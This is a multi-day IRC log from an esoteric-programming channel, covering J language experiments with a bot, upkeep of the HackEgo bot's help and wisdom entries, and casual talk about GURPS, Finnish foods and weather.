20:09:36 <HackEgo> 5585:2015-06-16 <oerjän> ` sed -i \'1N;s/\\n/ /\' wisdom/wise \ 5580:2015-06-15 <int-̈e> ` echo It\\\'s neither clockwise nor counterclockwise nor otherwise. >> wisdom/wise \ 5579:2015-06-15 <shachäf> le/rn wise/Uninstalling software installed by the Wise Installation Wizard is unwise.
20:11:51 <\oren\> Hey what if I had a counterclockwise clock
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20:18:58 <alercah> \oren\: you mean a counterclock
20:48:07 <\oren\> is it just me or did trump stop spray painting himself orange?
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00:09:33 -!- hppavilion[1] has set topic: Motivation: -2.638eNaN | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://www.dropbox.com/s/fyhqyvy3i8oh25m/wisdom.pdf?dl=0 | For extensive phở testing, use #esoteric-blah.
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04:36:50 -!- hppavilion[1] has set topic: Motivation: -2.638èNaN | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://www.dropbox.com/s/fyhqyvy3i8oh25m/wisdom.pdf?dl=0 | For extensive phở testing, use #esoteric-blah.
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10:28:32 <HackEgo> [wiki] [[Deadfish]] https://esolangs.org/w/index.php?diff=51829&oldid=51828 * GermanyBoy * (-19) /* Röda */
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11:45:55 * oerjan cannot help pronouncing "Röda" with a Scanian accent
11:49:13 <HackEgo> 99) <alise> cmake is a nuclear powered waffle iron powered by a burning-hot testicle attachment <alise> and it burns one of the waffles and doesn't touch the other.
11:50:06 <lambdabot> No quotes match. Just try something else.
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11:57:30 <lambdabot> No quotes for this person. It can only be attributed to human error.
11:57:40 <lambdabot> yottis says: i thought there were like 10 haskell jobs in the world, all in the "let's replace excel sheets with something else" industry < kalven> there are at least 20
11:58:18 <int-e> heh how anyone can stand that space I don't know.
11:58:34 <int-e> (the one between < and the nickname.)
11:58:47 <shachaf> irssi has it on by default.
11:58:47 <int-e> I know why, but it just doesn't work for me.
11:58:58 <int-e> I switched it off almost immediately.
11:59:00 <shachaf> I guess it's to keep the same alignment with different modes.
11:59:07 <shachaf> But why do you want to keep the same alignment?
12:22:41 <fizzie> The space makes more sense in themes that add padding between the end of the nickname and the start of the message.
12:23:12 <fizzie> If you have different-width nicks anyway, I don't quite see the point. (Turned it off as well.)
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12:28:29 <oerjan> `` ls -l wisdom/password
12:28:30 <HackEgo> -rw-r--r-- 1 5000 0 33 Apr 9 23:14 wisdom/password
12:29:24 <int-e> (just kidding, but wouldn't that be fun...)
12:31:55 <oerjan> fizzie: maybe the builtin `help command should only trigger when not given arguments, and use the sandbox help otherwise (for a start we could do `mkx bin/help//\? '`'"$1")
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13:06:26 <HackEgo> Usage: fetch URL or fetch OUTPUT_FILE URL (no spaces or quoting in OUTPUT_FILE)
13:06:45 <fizzie> Well, that's a reasonable outcome. (Just checking.)
13:07:14 <fizzie> @tell oerjan That sounds reasonable.
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18:40:03 <HackEgo> [wiki] [[Dogescript]] https://esolangs.org/w/index.php?diff=51830&oldid=43975 * Camto * (-12)
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19:30:54 <VisualAssembler> good evening, i do hope not to disturb channel, i am n00b too....
19:32:31 <VisualAssembler> i have rather understanding how computer works, and i have idea to make 'my own esolang'
19:32:54 <VisualAssembler> i hope not to disturb but only may i ask one question from europe?
19:33:17 <shachaf> You mean, a second question?
19:34:32 <VisualAssembler> that might coredump my mind, but, to tell furter: yes, that would be really appreciated :)
19:34:59 <rdococ> the channel's been AFK for 4 hours, it's fine
19:35:58 <rdococ> I think they'd rather you here than me, anyway
19:36:24 <rdococ> your nickname is better than mine
19:37:29 <rdococ> because, every time I have a cool idea for an esolang, I lose interest within a few hours
19:38:10 <rdococ> I prefer to think of it as either a chicken or a clock without the l
19:38:52 <rdococ> I grouped the nickname "Coconutz", because it sounds cool and has the same oco pattern
19:39:52 <VisualAssembler> anyway, i come from austria and i have problem bechase i have in my mind ideal for so calles "eso" lang
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19:41:15 <VisualAssembler> and i do not know how to tell computer to make it execute commands
19:42:28 <VisualAssembler> it could have some sort of database with predertermined strings, it could even maybe parse sort of mandb, but maybe there is some more general way
19:43:56 <VisualAssembler> i just need some some snippets of general inputs how that specific part in my language could be implemented
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19:48:02 <VisualAssembler> because my idea is user says what computer should do, but computer decides on his own if he/she wants to do that (at all) and if user-given parametrics he/she wants to execute
19:48:48 <VisualAssembler> i'd be glad for any snip-bits on that way (excluding neuronal nets)
19:49:51 <rdococ> a DSL designed for programming arbitrary neural networks might be cool
19:50:34 <rdococ> Domain Specific Language.
19:52:24 <VisualAssembler> [Local Notice] Hello globnotix, why are you spamming client-specific shit? We would like you to draw /dev/nul
19:52:50 <rdococ> a programming language designed for one specific thing, basically
19:53:08 <rdococ> like, in my case, neural networks
19:54:18 <VisualAssembler> sorry, 8in german it is gatter, in englis it is gate. i 4got2switch language
19:54:59 <VisualAssembler> neuronal nets are best implemented in huge FPGAs, my frend (that works in that field) told me
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19:56:11 <rdococ> there are a lot of (linguistic) languages
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19:56:37 <rdococ> er, linguistic means relating to the kind of languages you speak
19:56:44 <rdococ> in fact, even some constructed speech languages e.g. Esperanto
19:57:47 <VisualAssembler> Latin would be cool, afaik. or turkish. or squip (albanian)
19:58:17 <rdococ> I was talking about assembler
19:59:02 <VisualAssembler> yeah, i like it. especially on CISCs. but to be honest, i have been out of that since years
19:59:32 <rdococ> you should try an OISC :P
19:59:51 <rdococ> (one instruction set computing. there are quite a few OISCs around)
19:59:57 <VisualAssembler> Motorola/freescale to me is rather cool. The STM8 was rather nice too. But nowadays....
20:01:00 <VisualAssembler> i have forgotten more than 90% of waht i coud have done. but ASM was always great to me (afair), because it did always exactly that what i wanted (thats what it should do)
20:01:42 <VisualAssembler> rdococ: when you want to go into OISC i remeber there something from Maxim(tm)
20:02:25 <rdococ> I've heard of 3D demos on TI calculators :P
20:04:06 <VisualAssembler> ah, there i nfound it on my swap, its called the Maxim MAXQ Architecture
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20:08:00 <VisualAssembler> rdococ: https://www.maximintegrated.com/en/app-notes/index.mvp/id/3222
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20:10:00 <VisualAssembler> to be honest: if i was the king i'd go for VLIW. to me, itanium rulez (although i never had machine of it)
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22:32:24 <hppavilion[1]> tswett: I forget, were you the one making the database software with projective scope?
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22:41:36 <int-e> shachaf: FWIW, Spider&Web is too hard in a few places. Good story though.
22:42:02 <shachaf> I do like that one puzzle in the middle.
22:43:12 <shachaf> I agree about some of it, especially some parts after that puzzle.
22:43:32 <int-e> I missed "my gun", and perhaps stupidly, how to delay the guards in the final room.
22:43:59 <int-e> "missed" in the sense that I used a walkthrough to get me past those points
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00:13:47 <zzo38> Today I played GURPS game a second time.
00:22:18 <shachaf> I know it now that you said it.
00:26:13 <shachaf> Like what, the fact that today you played GURPS game a second time?
00:26:39 <zzo38> I mean if you like this GURPS game a second time.
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00:29:06 <shachaf> I didn't even like it the first time.
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00:31:31 <zzo38> Then you must learn. My character is named Ziveruskex and his friend is Strixan and then there is also Bob and also Domag who is a priest and is also very strong and is good at fighting with a sword. (My own character is fight by shield.)
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00:32:12 <shachaf> How do you fight by shield?
00:32:44 <shachaf> I had a smiter in Diablo 2: Lord of Destruction who did that.
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00:49:24 <zzo38> It is a good thing that I had a shield and had chosen to defend on one turn, because those two things together made the important difference to be able to successfully defend against an opponent's attack with a sword.
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00:55:20 <boily> fungot: lanttulaatikko.
00:56:04 <zzo38> What is "lanttulaatikko"?
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00:57:07 <boily> hezzo38. I was wandering on the Wikipédia, and fell on: https://en.wikipedia.org/wiki/Lanttulaatikko
00:58:11 <zzo38> O, that is what it is.
00:58:55 <shachaf> "Traditional lanttulaatikko is made of boiled and mashed swedes"
01:03:23 <boily> olsner: hellolsner. are you edible, and if so, do you taste good?
01:04:57 <fizzie> The carrot thing is the only one of the christmas "box" foods worth eating.
01:23:52 <zzo38> You can read about GURPS game I play at: http://zzo38computer.org/gurpsgame/1.ui/wiki?name=Session+2
01:24:13 <Jafet> an #esoteric-dwelling swede / was mistaken for edible feed / “with you,” said a sicko / “our lanttulaatikko / would be very tasty indeed!”
01:25:09 <olsner> boily: I am not edible but if I was I would be very tasty indeed
01:26:03 <boily> fizziello. carrot thing?
01:26:54 <zzo38> (If you have any complaints, you can enter a new ticket.)
01:27:38 <fizzie> boily: Porkkanalaatikko.
01:28:13 <boily> en:carrot is fi:pork?????
01:28:21 <fizzie> boily: No, it's fi:porkkana.
01:28:32 <fizzie> (fi:kana is en:chicken.)
01:29:10 <shachaf> What about en:chicken-of-the-woods?
01:29:20 * boily is culinarily perturbed
01:29:43 <fizzie> shachaf: fi:rikkikääpä.
01:30:11 <fizzie> shachaf: And fi:koppelokääpä.
01:30:40 <fizzie> (fi:kääpä is any Polyporaceae.)
01:56:53 <HackEgo> typoglycerine//Typoglycerine is an explosive that scrambles the letters inside a word.
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03:04:27 <zzo38> Does any picture compression format take advantage of trying to rotate/flip the picture when storing it (and then rotating it back when loading) if that would compress better?
03:04:35 * hppavilion[1] grumbles something about those fuckin' sums, stealing our jobs, livin' off the gov'mnt
03:05:14 <zzo38> I found that the built-in "wizard:" picture in ImageMagick seems to compress in a PNG format better when it is rotated clockwise 90 degrees than when it is stored normally.
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04:29:51 <zzo38> http://zzo38computer.org/img_19/Worldview.jpg How to do the other five combinations of the color of Magic: the Gathering?
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06:54:28 <zzo38> http://zzo38computer.org/img6/ch11-simplicity-vs-complexity.gif
07:14:29 <hppavilion[1]> My dad is currently nailing the flag of China just above the door to the bedroom of a former CIA agent (who is currently asleep inside)
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07:23:21 <pikhq> That doesn't seem wise.
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10:44:26 <int-e> . o O ( twist: they're the same person )
10:45:04 <lambdabot> LOWI 300920Z 27007KT 240V310 CAVOK 12/01 Q1013 NOSIG
10:45:36 <int-e> it went down just below 0°C tonight.
10:47:12 <lambdabot> ENVA 300920Z 24004KT 200V260 9999 SCT024 BKN076 05/M04 Q1020 NOSIG RMK WIND 670FT VRB03KT
10:48:35 <int-e> sounds a bit like 2 days ago except here it was cloudy and rainy, so there's no way the dewpoint was that low.
10:49:14 <olsner> zzo38: I think it's rather a matter of PNG being unnecessarily dependent on orientation (it does things like store the delta between scanlines, but doesn't have the corresponding feature for the other direction)
11:06:45 <\oren\> MechaNika is a good game
11:13:24 <FireFly> The weather is all over the place, but today it's nice and sunny
11:13:33 <lambdabot> ESSB 300950Z 28014KT CAVOK 07/M07 Q1020
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11:15:34 <lambdabot> ESKN 300950Z 27014KT CAVOK 09/M05 Q1021
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11:30:44 <j-bot> oerjan: |ill-formed number
11:30:57 <j-bot> oerjan: |ill-formed number
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11:55:23 <j-bot> oerjan: ┌───┬─────┐
11:55:23 <j-bot> oerjan: │2 3│2 2 2│
11:55:23 <j-bot> oerjan: └───┴─────┘
11:55:38 <oerjan> [ (2 3; 4 10) i. 8 5 6
11:56:40 <oerjan> just wondering what binary i. does
11:57:02 <oerjan> looks like it just gives the size of its first argument
11:58:29 <FireFly> It's index-of, returning one past the end for missing values
12:00:09 <j-bot> FireFly: 2 0 1 1 0 6 4
12:05:21 <oerjan> figures, none of my tests repeated a number on both sides.
12:06:06 <oerjan> [ 'cabbage' i. 'abcdef'
12:06:06 <j-bot> oerjan: 1 2 0 7 6 7
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13:22:44 <HackEgo> dragon//Dragons are fractal creatures of magic, capable of shrinking or expanding to any size. Taneb invented them to live inside his string diagrams, but they prefer to hover around pinheads and feed on angels.
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13:40:21 <HackEgo> A horse, a horse! My kingdom for a horse!
13:40:46 <j-bot> rdococ: |syntax error
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14:09:45 <int-e> https://nusan.itch.io/fragments-of-euclid is a cute little game
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14:18:38 <int-e> ("little" refers to the length; it can be finished in an hour or two.)
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14:30:31 <j-bot> rdococ: 10 11 12 13 14
14:30:31 <j-bot> rdococ: 15 16 17 18 19
14:30:32 <j-bot> rdococ: 20 21 22 23 24
14:30:32 <j-bot> rdococ: 25 26 27 28 29
14:30:33 <j-bot> rdococ: 30 31 32 33 34
14:37:59 <myname> seems to be i. (3 + i. 3)
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14:41:15 <j-bot> rdococ: |length error
14:41:15 <j-bot> rdococ: | (i.3) +(i.4)
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15:02:44 <fizzie> FireFly: ^ The `iata|`icao|`airport syntax is a little confusing -- the command name is what you're looking things up *with*, not what you want out of it.
15:04:53 <FireFly> I think I probably was told that last time I attempted to use it, but forgot again, haha
15:10:37 <fizzie> `mkx bin/help//echo ask oerjan to do something with this
15:10:41 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch [<output-file>] <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
15:10:46 <HackEgo> ask oerjan to do something with this
15:11:04 <fizzie> @tell oerjan Try "`help foo".
15:11:24 <fizzie> `mkx bin/help//echo ask oerjan to do something with bin/help.
15:11:43 <fizzie> ...maybe I should've done the link to \? as a first pass though.
15:12:49 <fizzie> `mkx bin/help//\? '`'"$1"
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15:57:22 <HackEgo> implication//Implication is a useful rhetorical device, if you know what I mean.
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17:01:47 <HackEgo> page//The smallest floating-point number is known as pages. Fungot discovered it.
17:11:04 <int-e> too contextual, perhaps
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17:46:46 <int-e> fungot: you around?
17:46:47 <fungot> int-e: of course! magick!!! i have an alibi. it's 5:30 am, i
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17:47:27 <int-e> Somehow I don't think fungot knows what an alibi is. Or are we fungot's alibi... hmm.
17:47:27 <fungot> int-e: no but `1 is a unit of memory. like 8 times what your program does not work here... :( i don't think
17:47:34 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
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17:57:55 <fizzie> fungot: It's certainly true that you don't think.
17:57:56 <fungot> fizzie: and gcc already compiles to it with fnord and outmoded concepts such as continuations for practical web development. it is
17:59:06 <APic> Thinking is darn expensive.
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18:05:43 <boily> fungot: umngqusho.
18:05:43 <fungot> boily: what kind of criticism you've levelled at the arithmetic library is there to believe? sending another message with the given data, that would
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18:50:47 <j-bot> oerjan: |domain error
18:50:47 <j-bot> oerjan: | 'abc' +3
18:50:53 <j-bot> oerjan: |domain error
18:50:53 <j-bot> oerjan: | 'abc' +'def'
18:53:53 <boily> almost as helpful as metasepia ^^
18:54:08 <j-bot> oerjan: |value error: duck
18:54:44 <HackEgo> Ostrich used to be a large middle European empire in frequent conflict with Turkey. After a famine it sort of split into Ostrich/Hungry. Alas its policy of keeping its head in the sand did not get it through the Great War, and with its final attempts to take flight failing, it ended up cut into several pieces.
18:54:56 <oerjan> HackEgo is now helpful.
18:57:08 <HackEgo> `edit <file> gives you a url, then in your browser: (1) Press Sync (unless making a new file) (2) Make your changes (3) Press Save (4) Paste the command line at the top into the channel.
18:57:33 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch [<output-file>] <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
18:58:32 <oerjan> `learn `fetch [<output-file>] <URL>" downloads files, and is the only web access currently available in HackEgo. See also `edit.
18:58:35 <HackEgo> Learned '`fetch': `fetch [<output-file>] <URL>" downloads files, and is the only web access currently available in HackEgo. See also `edit.
18:58:43 <HackEgo> `fetch [<output-file>] <URL>" downloads files, and is the only web access currently available in HackEgo. See also `edit.
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18:59:01 <HackEgo> `fetch//`fetch [<output-file>] <URL> downloads files, and is the only web access currently available in HackEgo. See also `edit.
19:00:11 <oerjan> `slwd `fetch//s,See,It is a special builtin that cannot be called from other commands. &,
19:00:13 <HackEgo> `fetch//`fetch [<output-file>] <URL> downloads files, and is the only web access currently available in HackEgo. It is a special builtin that cannot be called from other commands. See also `edit.
19:00:41 <HackEgo> #!/bin/bash \ exec $HACKENV/bin/lynx
19:00:48 <HackEgo> #!/bin/bash \ echo "Sorry, HackEgo's sandbox currently has no web access." >&2 \ exit 1
19:01:31 <oerjan> `` lynx 2>wisdom/'web access'
19:01:38 <HackEgo> Sorry, HackEgo's sandbox currently has no web access.
19:02:17 <oerjan> `slwd bin/lynx//2c\? 'web access' >&2
19:02:22 <oerjan> `sled bin/lynx//2c\? 'web access' >&2
19:02:24 <HackEgo> bin/lynx//#!/bin/bash \ ? 'web access' >&2 \ exit 1
19:02:30 <HackEgo> Sorry, HackEgo's sandbox currently has no web access.
19:03:53 <oerjan> `le/rn_append web access//However, see `? fetch
19:03:55 <HackEgo> Learned 'web access': Sorry, HackEgo's sandbox currently has no web access. However, see `? fetch
19:06:09 <HackEgo> 10853:2017-04-30 <oerjän> le/rn_append web access//However, see `? fetch \ 10851:2017-04-30 <oerjän> ` lynx 2>wisdom/\'web access\'
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19:09:05 <oerjan> `learn `run <command> is HackEgo's builtin for runninc a command with full shell syntax. These days most use the user-made `` or ``` shortcuts instead, although all of the three have subtle differences, with `run being the most plain option (also, unlike the rest it cannot be called from other commands.)
19:09:07 <HackEgo> Learned '`run': `run <command> is HackEgo's builtin for runninc a command with full shell syntax. These days most use the user-made `` or ``` shortcuts instead, although all of the three have subtle differences, with `run being the most plain option (also, unlike the rest it cannot be called from other commands.)
19:10:02 <oerjan> `slwd `run//s,inc,ing,
19:10:04 <HackEgo> `run//`run <command> is HackEgo's builtin for running a command with full shell syntax. These days most use the user-made `` or ``` shortcuts instead, although all of the three have subtle differences, with `run being the most plain option (also, unlike the rest it cannot be called from other commands.)
19:13:05 <oerjan> `learn `revert <rev>" can be used to revert to a revision. See <http://codu.org/projects/hackbot/fshg/>. It is a builtin command so cannot be called from other commands.
19:13:07 <HackEgo> Relearned '`revert': `revert <rev>" can be used to revert to a revision. See <http://codu.org/projects/hackbot/fshg/>. It is a builtin command so cannot be called from other commands.
19:13:23 <HackEgo> wisdom/`revert//`revert now works fine. Yay fizzie!
19:15:51 <oerjan> `slwd web access//s,fetch,`&,
19:15:54 <HackEgo> web access//Sorry, HackEgo's sandbox currently has no web access. However, see `? `fetch
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19:17:34 <oerjan> hm that one is special
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19:23:26 <j-bot> rdococ: |domain error
19:23:26 <j-bot> rdococ: | 1 2 3//1 2 3
19:23:53 <j-bot> oerjan: |domain error
19:24:21 <j-bot> oerjan: 1 0.5 0.333333
19:24:21 <j-bot> oerjan: 2 1 0.666667
19:29:00 <rdococ> is there an instruction for summing a series? e.g. [1, 2, 3, 4] -> [1, 3, 6, 10]
19:29:49 <myname> good question, is there a take verb?
19:30:17 <myname> you could do something like +/ over each prefix
19:30:32 <myname> i have no idea wether or not there is an easy prefix verb
19:31:07 <oerjan> there ought to be a / variant for it
19:31:25 <j-bot> rdococ: |syntax error
19:31:48 <rdococ> I was thinking about factorial/ for some reason
19:32:17 <oerjan> it doesn't have postfixed operators, i think
19:33:16 <j-bot> oerjan: 1 0.333333 0
19:33:16 <j-bot> oerjan: 1 0.333333 0.2
19:34:53 <rdococ> and tell me what | and : mean
19:35:03 <myname> |: transposes a matrix
19:37:46 <oerjan> <op>\ treats <op> as unary
19:37:57 <oerjan> or monic, is that the word
19:39:16 <oerjan> hm the part before does some shaping?
19:40:18 <j-bot> oerjan: |domain error
19:41:05 <j-bot> rdococ: |value error: ok
19:41:38 <oerjan> i think ok is what it says when not outputting anything, like when outputting a 0-dimensional matrix
19:43:30 <oerjan> this operation is crazy :P
19:44:34 <oerjan> huh that was _shorter_
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19:50:03 <oerjan> ok i think i understand something. each of the parts of the first argument give a big part of the result
19:50:30 <oerjan> and the 0s are padding to make all the parts fit in one matrix
19:50:44 * boily is updating the PDF
19:52:22 <oerjan> so i predict if i do 0 1 3 4 +\ 4 5 6 we'll get 4 parts, each 3 by 3
19:54:20 <oerjan> the 0 case must be considered 0 by 4, somehow
19:56:26 <oerjan> ok the argument is number of columns, i think.
19:56:48 <oerjan> and then it adds enough rows to get to use all the elements.
19:57:06 <oerjan> but if there are too many columns, it gives nothing
19:57:35 <oerjan> and the rows + columns = 1 + number of second arguments
19:57:58 <oerjan> and this somehow is considered the case even when columns = 0
19:58:11 <oerjan> i think this explains the pattern.
20:00:43 <fungot> int-e: i thought the point of sqlite: it is a nice name for it.
20:00:44 <HackEgo> fungot is our beloved channel mascot and voice of reason.
20:01:55 <rdococ> fungot, why are you so lovable
20:01:55 <fungot> rdococ: the one true way.
20:02:10 <rdococ> I meant like a kitten, but sure
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20:09:19 <j-bot> rdococ: |length error
20:09:19 <j-bot> rdococ: | 1 2 *.1 2 3 4
20:10:17 <int-e> perhaps j-bot should be in #esoteric-blah. ;P
20:20:18 <oerjan> [ 1 3 5 7 +. 1 3 5 7 9
20:20:19 <j-bot> oerjan: |length error
20:20:19 <j-bot> oerjan: | 1 3 5 7 +.1 3 5 7 9
20:24:12 -!- int-e has set topic: Welcome to the Black Box Programming Channel | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://www.dropbox.com/s/fyhqyvy3i8oh25m/wisdom.pdf?dl=0 | For bot testing, use #esoteric-blah.
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20:45:41 <fizzie> Heh, fun fact about z80asm: for its conditional inclusion directive, the syntax is "if <cond>", "else", "else", "else", ..., "endif", and if <cond> is true, it will assemble all odd blocks, while if it's false it will do all the even ones.
20:50:23 <DHeadshot> Don't really have a choice on the Speccy...
21:02:52 <int-e> fizzie: that's kind of useful, though what about common parts of the code ;)
21:16:08 <zzo38> Some other assemblers might do that too.
21:29:55 <FireFly> j-bot is already in #jeval for J eval spam :p
21:30:02 <FireFly> there's also query of course
21:31:48 <FireFly> [ +/\ i.4 NB. f\ applies f to prefixes, rather than folding f on prefixes, so you need to use f/\ for a scan
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21:34:23 <FireFly> I could have it join #esoteric-blah
21:34:28 <FireFly> didn't know that was a thing
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21:36:38 <fizzie> I'm surprised if there are no Z80 assemblers running on the speccy.
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21:38:38 <fizzie> I was at a place the other weekend, they had a bunch of BBC Micros, I think I've heard its BASIC interpreter has a reasonably elaborate inline assembly mode.
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23:27:08 <zzo38> In this GURPS game is the wall of a solid diamond, maybe I would need another diamond in order to cut it to get what is behind it.
23:28:28 <int-e> . o O ( burn it down (but that will likely fail due to high heat conductivity) )
23:30:06 <int-e> "Although diamonds can burn at temperatures reached by a regular welding torch, generally there isn't enough of a ready supply of oxygen in the atmosphere."
23:30:25 <int-e> random find, take it with a grain of salt. but it does sound plausible.
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23:39:24 <boily> hezzo38. our trustiest source for cutting stuff down in DnD is a seagull hth
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23:46:40 <zzo38> I am playind at GURPS though not Dungeons.
23:46:49 <zzo38> (Also I don't have a seagull)
23:47:22 <zzo38> I do have a spell that can produce "an effect as though burning magnesium or phosphorus had been held to the subject".
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23:55:49 <zzo38> And how can a seagull to help to destroy a diamond wall anyways?
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23:59:37 <boily> we don't know, the seagull only works if we don't look at it.